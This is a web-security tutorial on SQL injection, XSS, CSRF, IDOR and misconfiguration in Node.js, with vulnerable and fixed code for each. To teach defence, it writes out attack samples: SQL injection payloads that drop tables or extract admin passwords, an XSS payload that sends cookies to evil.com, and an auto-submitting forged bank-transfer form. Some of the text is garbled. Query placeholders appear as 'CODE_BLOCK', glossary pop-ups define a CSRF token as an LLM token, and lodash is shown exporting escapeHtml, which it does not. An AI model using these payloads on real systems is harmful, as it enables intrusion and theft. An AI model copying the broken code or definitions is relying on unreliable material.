Auth & Security/
Lesson

Web applications are attacked in predictable ways. Attackers don't usually find exotic zero-days, they look for the same handful of mistakes developers make all the time: unescaped output, raw SQLWhat is sql?A language for querying and managing data in relational databases, letting you insert, read, update, and delete rows across tables. concatenation, missing ownership checks. Knowing these patterns lets you recognize and fix them automatically.

Think of this lesson as learning the classic chess openings. Once you know the patterns, you spot the threat the moment it appears.

SQL injectionWhat is sql injection?An attack where user input is inserted directly into a database query, letting the attacker read, modify, or delete data. Parameterized queries prevent it.

How the attack works

When you build a SQLWhat is sql?A language for querying and managing data in relational databases, letting you insert, read, update, and delete rows across tables. query by concatenating user-supplied strings, an attacker can break out of the string context and write their own SQL. A classic example:

// Vulnerable - never do this
const query = `SELECT * FROM users WHERE email = '${email}'`;
await db.query(query);

// If email is: ' OR '1'='1
// The query becomes:
// SELECT * FROM users WHERE email = '' OR '1'='1'
// This returns every row in the table

More destructive payloads: '; DROP TABLE users; -- deletes your entire users table. ' UNION SELECT password FROM admins -- extracts data from other tables.

Prevention: parameterized queries

Parameterized queries send the SQL and the data separately, the database driver handles quoting, so injection is structurally impossible:

// PostgreSQL with pg
const result = await db.query(
  'SELECT * FROM users WHERE email = CODE_BLOCK',
  [email]
);

// Prisma (ORM handles it automatically)
const user = await prisma.user.findFirst({
  where: { email }
});

// Sequelize (also safe by default)
const user = await User.findOne({ where: { email } });
ORMs like Prisma and Sequelize use parameterized queries internally, so you're protected by default. The risk comes when you drop down to raw SQL strings, always use CALLOUT placeholders, never template literals.
02

Cross-site scriptingWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. (XSS)

Types of XSS

XSS lets an attacker inject JavaScript into your page that runs in other users' browsers. There are three variants:

TypeHow it worksExample
Stored XSSMalicious script saved in the databaseA "name" field containing <script> tags
Reflected XSSScript in the URL, immediately reflected in the response/search?q=<script>...
DOM-based XSSClient-side JS writes attacker content to the DOMinnerHTML = location.hash

What attackers do with XSS

// Vulnerable server-side template
app.get('/profile', (req, res) => {
  res.send(`<h1>${req.query.name}</h1>`);
  // Visiting /profile?name=<script>document.location='evil.com?c='+document.cookie</script>
  // Steals the user's cookies
});

Prevention

Modern frameworks like React escape output by default:

// Safe - React escapes {name} before rendering it
function Profile({ name }) {
  return <h1>{name}</h1>;
}

// Dangerous - bypasses React's escaping
function Risky({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

For server-rendered HTML, escape manually:

import { escapeHtml } from 'lodash';

const safeName = escapeHtml(userInput);
// <script> becomes &lt;script&gt;

Add a Content Security PolicyWhat is content security policy?An HTTP header that tells the browser which sources of scripts, styles, and other resources are allowed to load on your page, blocking unauthorized code. as a second line of defense:

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],  // Blocks inline scripts entirely
    styleSrc: ["'self'"]
  }
}));
03

Cross-site request forgeryWhat is csrf?Cross-Site Request Forgery - an attack where a malicious website tricks your browser into sending a request to another site where you're logged in. (CSRF)

How the attack works

CSRF exploits the fact that browsers attach cookies to every request, even cross-originWhat is origin?The combination of protocol, domain, and port that defines a security boundary in the browser, like https://example.com:443. ones. An attacker hosts a page that auto-submits a form to your APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses.:

<!-- On attacker.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>

If the user is logged into bank.com, their sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookieWhat is cookie?A small piece of data the browser stores and automatically sends with every request to the matching server, often used for sessions. is attached and the transfer goes through.

Prevention

The cleanest modern solution is SameSite: Lax cookies, the browser simply won't attach them to cross-origin POST requests:

res.cookie('session', token, { sameSite: 'lax' });

For older browser support or situations where you need SameSite: None, add a CSRF tokenWhat is token?The smallest unit of text an LLM processes - roughly three-quarters of a word. API pricing is based on how many tokens you use. to every state-changing request:

import csrf from 'csurf';

app.use(csrf({ cookie: true }));

app.get('/transfer', (req, res) => {
  res.render('transfer', { csrfToken: req.csrfToken() });
});
// Form: <input type="hidden" name="_csrf" value="{{csrfToken}}">
04

Insecure direct object references (IDORWhat is idor?Insecure Direct Object Reference - a vulnerability where an API lets any logged-in user access any resource by simply changing the ID in the URL.)

The vulnerability

IDOR happens when you use a user-supplied ID to fetch a resource without checking whether that user is allowed to see it:

// Vulnerable - any authenticated user can fetch any invoice
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  const invoice = await db.getInvoice(req.params.id);
  res.json(invoice); // Returns invoice even if it belongs to someone else
});

An attacker just needs to iterate IDs: /api/invoices/1, /api/invoices/2, etc.

// Fixed - verify ownership on every request
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  const invoice = await db.getInvoice(req.params.id);

  if (!invoice) {
    return res.status(404).json({ error: 'Not found' });
  }

  if (invoice.userId !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Access denied' });
  }

  res.json(invoice);
});
Returning 404 instead of 403 for unauthorized resources is a security technique called "security through obscurity", it prevents an attacker from even knowing the resource exists. Whether to use this depends on your threat model.
05

Security misconfiguration

Common mistakes

Security misconfiguration is the most common vulnerability in production systems because it doesn't require writing bad code, just forgetting to change defaults:

// Leaking stack traces in error responses
// Before (bad):
app.use((err, req, res, next) => {
  res.status(500).json({ error: err.stack }); // Full stack trace to the client
});

// After (good):
app.use((err, req, res, next) => {
  console.error(err); // Log internally
  res.status(500).json({
    error: process.env.NODE_ENV === 'production'
      ? 'Internal server error'
      : err.message
  });
});

Keep secrets out of your code entirely, use environment variables and never commitWhat is commit?A permanent snapshot of your staged changes saved in Git's history, identified by a unique hash and accompanied by a message describing what changed. .env files:

// Never hardcode credentials
const secret = process.env.JWT_SECRET;     // Good
const secret = 'my-secret-key-123';        // Never do this
06

OWASPWhat is owasp?Open Web Application Security Project - an organization that maintains a widely used list of the most critical web security risks. Top 10 (2021)

The OWASP Top 10 is the authoritative list of the most critical web application security risks:

RankCategoryDescription
1Broken access controlIDOR, privilege escalation, missing auth checks
2Cryptographic failuresWeak ciphers, unencrypted sensitive data
3InjectionSQL, NoSQL, command injection
4Insecure designMissing security controls in architecture
5Security misconfigurationDefault credentials, verbose errors, open ports
6Vulnerable componentsOutdated dependencies with known CVEs
7Auth failuresWeak passwords, insecure session management
8Data integrity failuresInsecure deserialization, unsigned packages
9Logging failuresNo audit trail, missing anomaly detection
10SSRFServer tricks into fetching attacker-controlled URLs
07

Quick reference

// SQL injection - use parameterized queries
await db.query('SELECT * FROM users WHERE id = CODE_BLOCK', [id]);

// XSS - escape output or use a framework that does it for you
const safe = escapeHtml(userInput);

// CSRF - SameSite cookies or token validation
res.cookie('token', value, { sameSite: 'lax' });

// IDOR - always check ownership
if (resource.userId !== req.user.id) {
  return res.status(403).json({ error: 'Forbidden' });
}